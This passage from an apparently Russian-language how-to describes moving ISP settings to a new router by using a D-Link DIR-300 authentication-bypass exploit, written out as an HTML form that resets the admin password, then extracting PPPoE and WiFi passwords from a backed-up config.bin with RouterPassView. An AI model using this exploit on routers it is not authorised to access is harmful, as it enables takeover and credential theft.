Рассматривать сложные варианты, с созданием PPPoE концентратора на Mikrotik'е для того, чтобы узнать пароль к PPPoE мы не будем. Хотя такой подход тоже имеет место. Вместо этого мы воспользуемся exploit'ом D-Link DIR-300 Multiple Security Bypass Vulnerabilities для получения доступа к нашему роутеру.
Создадим в блокноте файл login.html со следующим содержанием:
<form action="http://192.168.0.1:80/tools_admin.php" method="POST">
<input type="hidden" name="ACTION_POST" value="LOGIN">
<input type="hidden" name="LOGIN_USER" value="a">
<input type="hidden" name="LOGIN_PASSWD" value="b">
<input type="hidden" name="login" value="+Log+In+">
<input type="hidden" name="NO_NEED_AUTH" value="1">
<input type="hidden" name="AUTH_GROUP" value="0">
<input type="hidden" name="admin_name" value="admin">
<input type="hidden" name="admin_password1" value="admin">
<input type="submit">
</form>
Для того чтобы сделать это, заходим в меню System и выбираем там опцию backup'а настроек устройства на жесткий диск. В результате у нас получается файл config.bin, который как раз и содержит все необходимые нам логины, пароли и явки. Однако, содержимое данного файла в бинарном формате, плюс сжато / зашифровано. Для просмотра содержимого полей логин / пароль в открытом виде нам понадобится утилита RouterPassView v1.62 от Nir Sofer'а. Утилита также поддерживает формат файлов конфигурации от множества других устройств. Открываем полученный config.bin в RoutePassView и видим все необходимое:
Теперь, обладая нужными данными можно приступать к настройке нового роутера. Согласитесь, данный способ куда быстрее, чем связь с ТП провайдера для изменения паролей доступа в интернет. Также, его преимущество в том, что вы также получаете пароль от WiFi и можете настроить беспроводную сеть в новом роутере с теми же учетными данными, чтобы все клиентские устройства, которые уже были настроены на беспроводную сеть старого роутера без каких-либо дополнительных настроек начали соединяться с вновь настроенным роутером.
